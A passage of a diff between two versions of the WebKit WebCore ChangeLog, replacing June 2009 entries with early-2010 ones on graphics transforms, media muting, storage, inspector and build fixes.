+        (WebCore::AffineTransform::operator cairo_matrix_t):
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        (WebCore::GraphicsContext::concatCTM):
+        (WebCore::GraphicsContext::getAffineCTM):
+        * platform/graphics/cg/GraphicsContextPlatformPrivateCG.h:
+        (WebCore::GraphicsContextPlatformPrivate::concatCTM):
+        * platform/graphics/cg/PathCG.cpp:
+        (WebCore::Path::transform):
+        * platform/graphics/cg/TransformationMatrixCG.cpp:
+        (WebCore::AffineTransform::operator CGAffineTransform):
+        * platform/graphics/haiku/GraphicsContextHaiku.cpp:
+        (WebCore::GraphicsContext::getAffineCTM):
+        (WebCore::GraphicsContext::concatCTM):
+        * platform/graphics/haiku/PathHaiku.cpp:
+        (WebCore::Path::transform):
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::getAffineCTM):
+        (WebCore::GraphicsContext::concatCTM):
+        * platform/graphics/qt/PathQt.cpp:
+        (WebCore::Path::transform):
+        * platform/graphics/qt/TransformationMatrixQt.cpp:
+        (WebCore::AffineTransform::operator QTransform):
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::concatCTM):
+        (WebCore::GraphicsContext::getAffineCTM):
+        * platform/graphics/skia/PathSkia.cpp:
+        (WebCore::Path::transform):
+        * platform/graphics/skia/TransformationMatrixSkia.cpp:
+        (WebCore::AffineTransform::operator SkMatrix):
+        * platform/graphics/transforms/AffineTransform.cpp: Added.
+        (WebCore::affineTransformDecompose):
+        (WebCore::affineTransformCompose):
+        (WebCore::AffineTransform::AffineTransform):
+        (WebCore::AffineTransform::reset):
+        (WebCore::AffineTransform::setMatrix):
+        (WebCore::AffineTransform::isIdentity):
+        (WebCore::AffineTransform::det):
+        (WebCore::AffineTransform::isInvertible):
+        (WebCore::AffineTransform::inverse):
+        (WebCore::AffineTransform::multiply):
+        (WebCore::AffineTransform::multLeft):
+        (WebCore::AffineTransform::rotate):
+        (WebCore::AffineTransform::scale):
+        (WebCore::AffineTransform::translate):
+        (WebCore::AffineTransform::scaleNonUniform):
+        (WebCore::AffineTransform::rotateFromVector):
+        (WebCore::AffineTransform::flipX):
+        (WebCore::AffineTransform::flipY):
+        (WebCore::AffineTransform::shear):
+        (WebCore::AffineTransform::skew):
+        (WebCore::AffineTransform::skewX):
+        (WebCore::AffineTransform::skewY):
+        (WebCore::makeMapBetweenRects):
+        (WebCore::AffineTransform::map):
+        (WebCore::AffineTransform::mapPoint):
+        (WebCore::AffineTransform::mapRect):
+        (WebCore::AffineTransform::blend):
+        (WebCore::AffineTransform::toTransformationMatrix):
+        * platform/graphics/transforms/AffineTransform.h: Added.
+        (WebCore::AffineTransform::a):
+        (WebCore::AffineTransform::setA):
+        (WebCore::AffineTransform::b):
+        (WebCore::AffineTransform::setB):
+        (WebCore::AffineTransform::c):
+        (WebCore::AffineTransform::setC):
+        (WebCore::AffineTransform::d):
+        (WebCore::AffineTransform::setD):
+        (WebCore::AffineTransform::e):
+        (WebCore::AffineTransform::setE):
+        (WebCore::AffineTransform::f):
+        (WebCore::AffineTransform::setF):
+        (WebCore::AffineTransform::operator== ):
+        (WebCore::AffineTransform::operator!=):
+        (WebCore::AffineTransform::operator*=):
+        (WebCore::AffineTransform::operator*):
+        (WebCore::AffineTransform::setMatrix):
+        * platform/graphics/win/GraphicsContextWin.cpp:
+        (WebCore::GraphicsContextPlatformPrivate::concatCTM):
+        * platform/graphics/wince/GraphicsContextWince.cpp:
+        (WebCore::GraphicsContext::concatCTM):
+        (WebCore::GraphicsContext::getAffineCTM):
+        * platform/graphics/wx/GraphicsContextWx.cpp:
+        (WebCore::GraphicsContext::getAffineCTM):
+        (WebCore::GraphicsContext::concatCTM):
+        * platform/graphics/wx/PathWx.cpp:
+        (WebCore::Path::transform):
+        * platform/graphics/wx/TransformationMatrixWx.cpp:
+        (WebCore::AffineTransform::operator wxGraphicsMatrix):
 
-        If the insertion point is both the begining and ending visible position
-        then we need to insert at the end instead of the begining, which is what
-        would normally happen if the insertion point was as the begining.
+2010-01-29  Philippe Normand  <pnormand@igalia.com>
 
-        * editing/BreakBlockquoteCommand.cpp:
-        (WebCore::BreakBlockquoteCommand::doApply):
+        Reviewed by Eric Carlson.
 
-2009-06-23  Brady Eidson  <beidson@apple.com>
+        [GTK] set playbin mute property depending on volume value
+        https://bugs.webkit.org/show_bug.cgi?id=31586
 
-        Reviewed by Sam Weinig, and looked over by Eric Carlson.
+        New API in MediaPlayer for mute control. 3 new methods are
+        introduced:
 
-        <rdar://problem/6980466> Media elements should provide option for changing pitch correction
+        - bool supportsMuting() const;
+        - bool muted() const;
+        - void setMuted(bool);
 
-        Introduce a new boolean property to HTMLMediaElement called webkitPreservesPitch for script to control this.
+        Platform MediaPlayer implementations can support it easily if the
+        underlying sound daemon/API supports muting (eg. not only setting
+        volume to 0) like PulseAudio for instance on Linux. At the moment
+        the only player supporting this new API is the
+        MediaPlayerPrivateGStreamer.
 
         * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::HTMLMediaElement): Currently the platforms that have a flexible pitch preservation 
-          property (Quicktime on Mac and Win) have had it on by default, so continue that default for now.
-        (WebCore::HTMLMediaElement::loadResource):
-        (WebCore::HTMLMediaElement::webkitPreservesPitch):
-        (WebCore::HTMLMediaElement::setWebkitPreservesPitch):
+        (WebCore::HTMLMediaElement::setMuted):
+        (WebCore::HTMLMediaElement::mediaPlayerVolumeChanged):
+        (WebCore::HTMLMediaElement::mediaPlayerMuteChanged):
         * html/HTMLMediaElement.h:
-        * html/HTMLMediaElement.idl:
-
         * platform/graphics/MediaPlayer.cpp:
-        (WebCore::NullMediaPlayerPrivate::setPreservesPitch):
+        (WebCore::NullMediaPlayerPrivate::supportsMuting):
+        (WebCore::NullMediaPlayerPrivate::setMuted):
         (WebCore::MediaPlayer::MediaPlayer):
-        (WebCore::MediaPlayer::preservesPitch):
-        (WebCore::MediaPlayer::setPreservesPitch):
+        (WebCore::MediaPlayer::muted):
+        (WebCore::MediaPlayer::supportsMuting):
+        (WebCore::MediaPlayer::setMuted):
+        (WebCore::MediaPlayer::volumeChanged):
+        (WebCore::MediaPlayer::muteChanged):
         * platform/graphics/MediaPlayer.h:
+        (WebCore::MediaPlayerClient::mediaPlayerMuteChanged):
         * platform/graphics/MediaPlayerPrivate.h:
-        (WebCore::MediaPlayerPrivateInterface::setPreservesPitch):
-
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivateInterface::supportsMuting):
+        (WebCore::MediaPlayerPrivateInterface::setMuted):
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mediaPlayerPrivateVolumeChangedCallback):
+        (WebCore::notifyVolumeIdleCallback):
+        (WebCore::mediaPlayerPrivateMuteChangedCallback):
+        (WebCore::notifyMuteIdleCallback):
         (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
-        (WebCore::MediaPlayerPrivate::createQTMovie): Rework to allow recreation of the movie with almost the
-          exact same attributes as before, with pitch preservation being the difference.
-        (WebCore::MediaPlayerPrivate::setPreservesPitch): Recreate the QTMovie if the flag actually changes.
-        (WebCore::MediaPlayerPrivate::updateStates): Restore current time and rate if this is a recreated movie.
-        (WebCore::MediaPlayerPrivate::timeChanged): Clear the time-to-be-restored, as this callback means it
-          has been effectively overwritten.
-
-        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
-        (WebCore::MediaPlayerPrivate::load):
-        (WebCore::MediaPlayerPrivate::setPreservesPitch):
-        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.h:
-        * platform/graphics/win/QTMovieWin.cpp:
-        (QTMovieWinPrivate::QTMovieWinPrivate):
-        (QTMovieWinPrivate::~QTMovieWinPrivate):
-        (QTMovieWinPrivate::task): Restore current time and rate if this is a re-created movie.
-        (QTMovieWin::play): Clear the time-to-be-restored, as this effectively overwrites it.
-        (QTMovieWin::pause): Ditto.
-        (QTMovieWin::setRate): Ditto.
-        (QTMovieWin::setCurrentTime): Ditto.
-        (QTMovieWin::setPreservesPitch): Recreate the Movie if the flag actually changes.
-        (QTMovieWin::load): Rework to allow recreation of the Movie with similar state as the movie before it, 
-          but changing the pitch preservation flag.
-        * platform/graphics/win/QTMovieWin.h:
-
-2009-06-23  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        <rdar://problem/6998286> Crash after leaving page with <video>
-        
-        Don't try to post events after going into the page cache.
-
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::documentWillBecomeInactive): Cancel pending events and stop
-        event timers so we won't try to post events after going into the cache.
-
-2009-06-23  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Brady Eidson.
-
-        Simplify the interaction between LocalStorageArea/SessionStorageArea
-        and StorageArea by creating a "blockUntilImportComplete()" function
-        rather than bouncing back and forth between the child and parent
-        classes in a somewhat unintuitive manner.
-
-        This patch also paves the way for LocalStorageArea and
-        SessionStorageArea being merged into one.  It's part of several in a
-        set which are separating syncing (to disk) code from the rest of the
-        implementation so that local storage and session storage's code can be
-        unified.
-
-        https://bugs.webkit.org/show_bug.cgi?id=25376
-
-        * storage/LocalStorageArea.cpp:
-        (WebCore::LocalStorageArea::blockUntilImportComplete):
-        * storage/LocalStorageArea.h:
-        * storage/StorageArea.cpp:
-        (WebCore::StorageArea::length):
-        (WebCore::StorageArea::key):
-        (WebCore::StorageArea::getItem):
-        (WebCore::StorageArea::setItem):
-        (WebCore::StorageArea::removeItem):
-        (WebCore::StorageArea::clear):
-        (WebCore::StorageArea::contains):
-        * storage/StorageArea.h:
-        (WebCore::StorageArea::blockUntilImportComplete):
-
-2009-06-23  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dave Hyatt
-
-        First part of https://bugs.webkit.org/show_bug.cgi?id=26652
-        
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::paint):
-        (WebCore::RenderLayer::paintLayer):
-        * rendering/RenderLayer.h:
-        (WebCore::RenderLayer::):
-        * rendering/RenderReplica.cpp:
-        (WebCore::RenderReplica::paint):
-        Replace the 3 boolean params to RenderLayer::paintLayer() with a bit mask for readability.
-        
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::paintIntoLayer):
-        (WebCore::RenderLayerBacking::paintContents):
-        * rendering/RenderLayerBacking.h:
-        Remove the unused 'haveTransparency' param to paintIntoLayer().
-
-2009-06-23  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Darin Adler.
-
-        <rdar://problem/6997929> Assertion at WebCore::RenderLayer::updateClipRects with hardware acceleration
-
-        The updatingControlTints() painting pass goes through compositing layer boundaries,
-        so we need to ensure we don't cache clip rects computed with the wrong root by
-        setting temporaryClipRects to true.
-        
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::paintLayer):
-        
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::contentOffsetInCompostingLayer):
-        Remove a printf that I left in by mistake.
-
-2009-06-23  Anders Carlsson  <andersca@apple.com>
-
-        Reviewed by Darin Adler.
-
-        WebCore side of <rdar://problem/6946094>.
-        
-        * platform/win/ClipboardWin.cpp:
-        (WebCore::ClipboardWin::setExternalDataObject):
-        * platform/win/ClipboardWin.h:
-
-2009-06-23  Darin Fisher  <darin@chromium.org>
-
-        Reviewed by Darin Adler.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26650
-
-        Add setFormContentType and setFormData since it is awkward for Chromium
-        to use setFormInfoFromRequest to set the underlying members.  Also, add
-        a clearChildren method that Chromium needs.  These methods are used as
-        part of the Chromium code that serializes a HistoryItem for storing in
-        the browser's session history.
-
-        * history/HistoryItem.cpp:
-        * history/HistoryItem.h:
-
-2009-06-23  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Darin Adler.
-
-        <rdar://problem/6978938> Need HTML 5 event attributes for media elements
-
-        Test: media/event-attributes.html
-
-        * html/HTMLAttributeNames.in: Add media event attribute names.
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::parseMappedAttribute): Handle media event attributes.
-
-2009-06-23  Thiago Macieira  <thiago.macieira@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        Fix Qt build with Phonon.
-
-        The #include <phonon> header no longer exists. And the <Phonon> or
-        <Phonon/Phonon> headers have never existed (neither for us nor for the
-        Phonon sources). You have to select each and every header that you do
-        want now.
-
-        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
-
-2009-06-23  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        Remove duplicated code in Qt & GTK logging initialization
-
-        We now share the getChannelFromName() function in Logging.cpp
-
-        * platform/gtk/LoggingGtk.cpp:
-        * platform/qt/LoggingQt.cpp:
-
-2009-06-23  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        Rename the plugin logging channel to plural form 'Plugins'
-
-        This matches both the other logging channel names, as well as the
-        WebKit logging channel used by Safari/Mac for plugins.
-
-        * platform/Logging.cpp:
-        * platform/Logging.h:
-        * platform/gtk/LoggingGtk.cpp:
-        * platform/mac/LoggingMac.mm:
-        * platform/qt/LoggingQt.cpp:
-        * platform/win/LoggingWin.cpp:
-        * plugins/PluginDebug.h:
-        * plugins/gtk/PluginPackageGtk.cpp:
-        * plugins/mac/PluginPackageMac.cpp:
-        * plugins/mac/PluginViewMac.cpp:
-        * plugins/qt/PluginPackageQt.cpp:
+        (WebCore::MediaPlayerPrivate::~MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::volumeChangedCallback):
+        (WebCore::MediaPlayerPrivate::volumeChanged):
+        (WebCore::MediaPlayerPrivate::supportsMuting):
+        (WebCore::MediaPlayerPrivate::setMuted):
+        (WebCore::MediaPlayerPrivate::muteChangedCallback):
+        (WebCore::MediaPlayerPrivate::muteChanged):
+        (WebCore::MediaPlayerPrivate::createGSTPlayBin):
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
 
-2009-06-23  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+2010-02-01  Henry Haverinen  <henry.haverinen@nokia.com>
 
         Reviewed by Simon Hausmann.
 
-        Fix NPAPI mouse translation issues on Mac
-
-        The WindowRef we pass to the plugin refers to the the top level window,
-        so the x and y positions have to be relative to this position, but we
-        have to manually compensate for title bar decorations and other parents
-        of the QWebView since contentsToWindow() only traverses to the QWebView.
-
-        Previously we did this compensation when passing on mouse coordinates to
-        the plugin, which caused various issues with translations such as not
-        being able to close the Flash settings dialog, or the hand cursor not
-        appearing over links.
-
-        We now do the compensation as part of the call to NPP_SetWindow, and
-        then pass mouse coordinates in global context without any compensation,
-        similar to how both Safari and Mozilla does it.
-
-        * plugins/mac/PluginViewMac.cpp:
-        (WebCore::PluginView::updatePluginWidget):
-        (WebCore::PluginView::globalMousePosForPlugin):
-
-2009-06-23  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
-
-        Rubber-stamped by Simon Hausmann.
-
-        [Qt] Resolve absolute path to library install_name manually
-
-        Since our target.path is set to the Qt directory (to be able
-        to do 'make install') the 'absolute_library_soname' option
-        to QMake did not do the right thing.
-
-        We now compute the absolute path manually using DESTDIR.
-
-        * WebCore.pro:
-
-2009-06-22  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Oliver Hunt.
-
-        <rdar://problem/6991146> Scrollbars in hardware layers don't change to the
-        inactive look in background windows
-
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::paintLayer):
-        Don't short-circuit the "painting" pass that is used to udpate control tints.
-
-2009-06-22  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Reviewed by Sam Weinig.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26567
-        Upstream V8 bindings code generator. With this change, also added interface ancestor
-        traversal to IDL parser, which is necessary for V8 bindings. The traversal is used
-        to determine whether an interface is a Node to facilitate proper casting and storage
-        in V8DOMMap.
-
-        * bindings/scripts/CodeGenerator.pm: Added parent traversal sub, needed
-            by V8 bindings.
-        * bindings/scripts/CodeGeneratorV8.pm: Added.
-        * bindings/scripts/IDLParser.pm: Modified to allow limited parsing for
-            parent traversal cases.
-
-2009-06-22  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Gavin Barraclough.
-
-        Add event handler attribute getter/setters to HTMLFrameSetElement
-        as specified in HTML 5.  These match the ones on HTMLBodyElement.
-
-        * dom/Node.h:
-        * html/HTMLFrameSetElement.cpp:
-        (WebCore::HTMLFrameSetElement::parseMappedAttribute):
-        (WebCore::HTMLFrameSetElement::onblur):
-        (WebCore::HTMLFrameSetElement::setOnblur):
-        (WebCore::HTMLFrameSetElement::onerror):
-        (WebCore::HTMLFrameSetElement::setOnerror):
-        (WebCore::HTMLFrameSetElement::onfocus):
-        (WebCore::HTMLFrameSetElement::setOnfocus):
-        (WebCore::HTMLFrameSetElement::onload):
-        (WebCore::HTMLFrameSetElement::setOnload):
-        (WebCore::HTMLFrameSetElement::onbeforeunload):
-        (WebCore::HTMLFrameSetElement::setOnbeforeunload):
-        (WebCore::HTMLFrameSetElement::onmessage):
-        (WebCore::HTMLFrameSetElement::setOnmessage):
-        (WebCore::HTMLFrameSetElement::onoffline):
-        (WebCore::HTMLFrameSetElement::setOnoffline):
-        (WebCore::HTMLFrameSetElement::ononline):
-        (WebCore::HTMLFrameSetElement::setOnonline):
-        (WebCore::HTMLFrameSetElement::onresize):
-        (WebCore::HTMLFrameSetElement::setOnresize):
-        (WebCore::HTMLFrameSetElement::onstorage):
-        (WebCore::HTMLFrameSetElement::setOnstorage):
-        (WebCore::HTMLFrameSetElement::onunload):
-        (WebCore::HTMLFrameSetElement::setOnunload):
-        * html/HTMLFrameSetElement.h:
-        * html/HTMLFrameSetElement.idl:
-
-2009-06-22  Darin Adler  <darin@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        Bug 25425: DOM attribute getter/setter functions should use const AtomicString& type
-        https://bugs.webkit.org/show_bug.cgi?id=25425
-
-        * bindings/scripts/CodeGeneratorJS.pm: Added handling for ReflectURL.
-        * bindings/scripts/CodeGeneratorObjC.pm: Ditto.
-
-        * dom/Element.cpp:
-        (WebCore::Element::getURLAttribute): Added. For use implementing getters
-        for ReflectURL.
-        * dom/Element.h: Added getURLAttribute.
-
-        * html/HTMLImageElement.idl: Use Reflect and ReflectURL.
-
-2009-06-22  Jian Li  <jianli@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Bug 26626: Make WorkerContextExecutionProxy::toV8Object handle exception
-        objects.
-        https://bugs.webkit.org/show_bug.cgi?id=26626
-
-        * bindings/v8/WorkerContextExecutionProxy.cpp:
-        (WebCore::WorkerContextExecutionProxy::ToV8Object):
-
-2009-06-22  David Hyatt  <hyatt@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        Add RenderDataGrid to the build.  Give it some basic default styling (that more or less matches a listbox).  It has a default size
-        of 300x150.
-
-        * GNUmakefile.am:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * css/html4.css:
-        * html/HTMLDataGridElement.cpp:
-        (WebCore::HTMLDataGridElement::createRenderer):
-        * html/HTMLDataGridElement.h:
-        * html/HTMLDataGridElement.idl:
-        * rendering/RenderDataGrid.cpp: Added.
-        (WebCore::RenderDataGrid::RenderDataGrid):
-        (WebCore::RenderDataGrid::~RenderDataGrid):
-        (WebCore::RenderDataGrid::calcPrefWidths):
-        (WebCore::RenderDataGrid::paintObject):
-        (WebCore::RenderDataGrid::valueChanged):
-        (WebCore::RenderDataGrid::invalidateScrollbarRect):
-        (WebCore::RenderDataGrid::isActive):
-        * rendering/RenderDataGrid.h: Added.
-        (WebCore::RenderDataGrid::renderName):
-        (WebCore::RenderDataGrid::canHaveChildren):
-        (WebCore::RenderDataGrid::scrollbarCornerPresent):
-
-2009-06-22  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dave Hyatt.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26430
-        <rdar://problem/6944442> Elements jump around when they become composited (WWDC checkers demo)
-        <rdar://problem/6989006> Lots of time spent in RenderLayerCompositor::calculateCompositedBounds()
-            during window resize when using hardware layers
-        
-        Fix an ordering dependency which caused the compositing position of a layer
-        to be affected by some later sibling, which affected the compositing ancestor's
-        composited bounds.
-        
-        The fix is to only update the compositing positions of layers in some subtree
-        when updateAfterLayout() has been called on all the layers in that subtree,
-        from the ancestor down.
-        
-        Also cache the composited bounds of a RenderLayerBacking, now that we can
-        guarantee that those bounds are accurate.
-        
-        Test: compositing/sibling-positioning.html
-
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::updateLayerPositions):
-        (WebCore::RenderLayer::hitTestLayer):
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::RenderLayerBacking):
-        (WebCore::RenderLayerBacking::updateAfterLayout):
-        (WebCore::RenderLayerBacking::updateGraphicsLayerGeometry):
-        (WebCore::RenderLayerBacking::contentOffsetInCompostingLayer):
-        (WebCore::RenderLayerBacking::paintContents):
-        (WebCore::RenderLayerBacking::compositedBounds):
-        (WebCore::RenderLayerBacking::setCompositedBounds):
-        * rendering/RenderLayerBacking.h:
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::updateBacking):
-        (WebCore::RenderLayerCompositor::updateLayerCompositingState):
-        (WebCore::RenderLayerCompositor::calculateCompositedBounds):
-        (WebCore::RenderLayerCompositor::layerWillBeRemoved):
-        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
-        (WebCore::RenderLayerCompositor::rebuildCompositingLayerTree):
-        (WebCore::RenderLayerCompositor::updateCompositingChildrenGeometry):
-        * rendering/RenderLayerCompositor.h:
-
-2009-06-22  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        First step in https://bugs.webkit.org/show_bug.cgi?id=25376
-
-        Add StorageSyncManager.cpp/h
-
-        * GNUmakefile.am:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-
-        In preparation for combining SessionStorage and LocalStorage into a
-        single StorageManager, move the syncing bits out of LocalStorage and
-        into its own class.
-
-        The next step is to combine LocalStorageArea and SessionStorageArea
-        into one.  Then SessionStorage and LocalStorage can be combined.
-
-        Note that combining them will cut down on code paths that must be
-        proxied, eliminate virtual dispatch, and allow Chromium to (eventually)
-        write historical sessionStorage to disk when memory is getting tight.
-
-        Also remove a couple bits of cruft including code for quotas which is
-        unnecessary (since a meta-data db is unnecessary since you can just
-        count bytes as you read the local storage databases into memory).
-
-        * storage/LocalStorage.cpp:
-        (WebCore::LocalStorage::LocalStorage):
-        (WebCore::LocalStorage::storageArea):
-        (WebCore::LocalStorage::close):
-        * storage/LocalStorage.h:
-        * storage/LocalStorageArea.cpp:
-        (WebCore::LocalStorageArea::LocalStorageArea):
-        (WebCore::LocalStorageArea::scheduleFinalSync):
-        (WebCore::LocalStorageArea::syncTimerFired):
-        (WebCore::LocalStorageArea::performImport):
-        * storage/LocalStorageArea.h:
-        (WebCore::LocalStorageArea::create):
-        * storage/LocalStorageTask.cpp:
-        (WebCore::LocalStorageTask::performTask):
-        * storage/LocalStorageTask.h:
-        (WebCore::LocalStorageTask::):
-        (WebCore::LocalStorageTask::createImport):
-        * storage/LocalStorageThread.cpp:
-        * storage/LocalStorageThread.h:
-        * storage/SessionStorage.h:
-        * storage/StorageSyncManager.cpp: Copied from WebCore/storage/LocalStorage.cpp.
-        (WebCore::StorageSyncManager::create):
-        (WebCore::StorageSyncManager::StorageSyncManager):
-        (WebCore::StorageSyncManager::fullDatabaseFilename):
-        (WebCore::StorageSyncManager::close):
-        (WebCore::StorageSyncManager::scheduleImport):
-        (WebCore::StorageSyncManager::scheduleSync):
-        * storage/StorageSyncManager.h: Copied from WebCore/storage/LocalStorage.h.
-        (WebCore::):
-
-2009-06-22  Darin Fisher  <darin@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26622
-        Add ChromiumDataObject::copy()
-
-        * platform/chromium/ChromiumDataObject.cpp:
-        * platform/chromium/ChromiumDataObject.h:
-
-2009-06-22  Timothy Hatcher  <timothy@apple.com>
-
-        Add a silhouette image for the enable view of the Resource panel.
-
-        Reviewed by Kevin McCullough.
-
-        * inspector/front-end/Images/resourcesSilhouette.png: Added.
-        * inspector/front-end/inspector.css:
-
-2009-06-22  Kyle Prete  <kylep@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26552
-        Add V8 JS bindings for Audio Constructor.
+        [Qt] Build without SSL support is broken
 
-        * bindings/v8/custom/V8CustomBinding.h:
-        Added a callback declaration for audio ctor to macro.
-        * bindings/v8/custom/V8HTMLAudioElementConstructor.cpp:
-        Added the whole file.
+        Added missing #ifdefs for OpenSSL support and one null-pointer
+        check for the socket.
 
-2009-06-22  Alexey Proskuryakov  <ap@webkit.org>
+        https://bugs.webkit.org/show_bug.cgi?id=34416
 
-        Reviewed by David Levin.
+        * platform/network/qt/SocketStreamHandlePrivate.h:
+        * platform/network/qt/SocketStreamHandleQt.cpp:
+        (WebCore::SocketStreamHandlePrivate::SocketStreamHandlePrivate):
+        (WebCore::SocketStreamHandlePrivate::send):
 
-        https://bugs.webkit.org/show_bug.cgi?id=26600
-        StringImpl::copy() no longer copies empty string correctly
+2010-02-01  Pavel Feldman  <pfeldman@chromium.org>
 
-        * platform/text/StringImpl.cpp:
-        (WebCore::StringImpl::ustring): Changed method calling syntax to look less like calling a
-        static method.
-        (WebCore::StringImpl::copy): Reverted part of r41917 that caused the problem.
+        Reviewed by Timothy Hatcher.
 
-2009-06-22  Xiaomei Ji  <xji@chromium.org>
+        Web Inspector: Fix rest of the NativeTextViewer (line numbers,
+        conditional breakpoints, selection).
+
+        * inspector/front-end/NativeTextViewer.js:
+        (WebInspector.NativeTextViewer):
+        (WebInspector.NativeTextViewer.prototype._updatePreferredSize):
+        (WebInspector.NativeTextViewer.prototype._registerMouseListeners):
+        (WebInspector.NativeTextViewer.prototype._mouseDown):
+        (WebInspector.NativeTextViewer.prototype._contextMenu):
+        (WebInspector.NativeTextViewer.prototype._lineForMouseEvent):
+        (WebInspector.NativeTextViewer.prototype._lineHeight):
+        * inspector/front-end/TextEditor.js:
+        (WebInspector.TextEditor):
+        (WebInspector.TextEditor.prototype._registerMouseListeners):
+        (WebInspector.TextEditor.prototype._offsetToLine):
+        (WebInspector.TextEditor.prototype._lineHeight):
+        (WebInspector.TextEditor.prototype.reveal):
+        (WebInspector.TextEditor.prototype._paint):
+        (WebInspector.TextEditor.prototype._updateDivDecorations):
+        (WebInspector.TextEditor.prototype._paintSelection):
+
+2010-02-01  Steve Block  <steveblock@google.com>
 
-        Reviewed by Eric Seidel
+        Reviewed by Ariya Hidayat.
 
-        Not auto-testable since it involves sending a keyboard event to
-        the popup, which is not possible (eventSender sends the key
-        events through webview, we want to go through the webwidget).
+        Adds implementation of JavaString for V8.
+        https://bugs.webkit.org/show_bug.cgi?id=33953
 
-        This patch is one part of the fix for issue "keyboard selection in
-        Hebrew select element does not work in Windows". The other part of the
-        fix is in chromium's webkit/glue layer.
-        https://bugs.webkit.org/show_bug.cgi?id=25899
+        No new tests, build fix only.
 
-        * manual-tests/keyboard_select_non_english.html: Added.
-        * platform/chromium/PopupMenuChromium.cpp:
-        (WebCore::isCharacterTypeEvent): Added. Check whether the event is a 
-        character type event. "Char" in Windows or "KeyDown" in Mac is character
-        type event.
-        (WebCore::PopupListBox::typeAheadFind): Since m_lastCharTime is used to
-        indicate whether user types multiple characters continuely as a search
-        prefix or not, it should be only assigned when the event is character 
-        type event. 
+        * bridge/jni/JNIBridge.h: Modified. Include JavaStringV8.h for V8
+        * bridge/jni/v8: Added.
+        * bridge/jni/v8/JavaStringV8.h: Added.
+        (JSC::Bindings::JavaStringImpl::init):
+        (JSC::Bindings::JavaStringImpl::UTF8String):
+        (JSC::Bindings::JavaStringImpl::uchars):
+        (JSC::Bindings::JavaStringImpl::length):
 
-2009-06-22  Kevin McCullough  <kmccullough@apple.com>
+2010-02-01  Alex Milowski  <alex@milowski.com>
 
         Reviewed by Darin Adler.
 
-        <rdar://problem/6115819> Notify of profile start in console
+        Added compile time debug support for mathml layout (block boundary & baseline)
 
-        Put a message in the console that announces that a profile has started,
-        similar to how a console message announces that a profile has finished.
+        * mathml/RenderMathMLBlock.cpp:
+        (WebCore::RenderMathMLBlock::stretchToHeight):
+        (WebCore::RenderMathMLBlock::paint):
+        * mathml/RenderMathMLBlock.h:
 
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::addProfile): Use renamed function.
-        (WebCore::InspectorController::addProfileFinishedMessageToConsole):
-        Renamed.
-        (WebCore::InspectorController::addStartProfilingMessageToConsole):
-        New function that logs the message about the profile starting.
-        (WebCore::InspectorController::startUserInitiatedProfiling): Ditto
-        * inspector/InspectorController.h:
-        * inspector/front-end/ProfilesPanel.js: Print the "run" of the profile's
-        title if there are multiple profiles, and take into account the fact
-        that titles are displayed twice as much now.
-        (WebInspector.ProfilesPanel.prototype.displayTitleForProfileLink):
-        * page/Console.cpp:
-        (WebCore::Console::profile): Call new function.
+2010-02-01  Philippe Normand  <pnormand@igalia.com>
 
-2009-06-22  David Hyatt  <hyatt@apple.com>
